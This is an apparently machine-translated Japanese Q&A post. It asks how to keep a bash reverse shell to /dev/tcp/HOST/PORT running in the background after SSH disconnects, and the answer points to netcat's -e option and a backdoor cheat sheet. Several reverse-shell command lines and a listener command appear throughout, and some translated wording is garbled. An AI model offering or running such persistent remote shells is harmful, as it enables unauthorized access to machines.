バックグラウンドで 'bash -i >& /dev/tcp/HOST/PORT 0>&1' を実行します。

バックグラウンドで 'bash -i >& /dev/tcp/HOST/PORT 0>&1' を実行します。

bash -i >& /dev/tcp/HOST/PORT 0>&1server1のバックグラウンドで実行したいと思います。接続を受信して​​コマンドを再送信したいですHOST/PORT。したがって、tcpdumpでは十分ではありません。

バックグラウンドで実行しようとしています。

bash -i >& /dev/tcp/HOST/PORT 0>&1 &そしてnohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown

しかし、上記のコマンドはうまくいかないようです。私も頑張りましたが、

bg bash -i >& /dev/tcp/HOST/PORT 0>&1

それも動作しません。

どちらも.NETを使用すると、server1に正しく接続できませんnc -l -vv -p PORT

ただ実行すると動作しますbash -i >& /dev/tcp/HOST/PORT 0>&1が、SSH接続を切断するとこの特定の接続が閉じ、この接続の後に新しいコマンドを入力することもできません。

答え1

私はあなたの問題が確実です-interactiveオペランドには端末が必要で、バックグラウンドプロセスは端末をブロックします。stdin/stdout使用を検討してくださいnc ... -e接続時にシェルが呼び出されます。そこに便利な小さなリンクがありますnetcatpdfチートシート。 ~のため-eバラより後部ドア。GNUバージョンが必要な場合があります。ncそれを使用してください - それ以外の場合は再コンパイルしたいと思います。

関連情報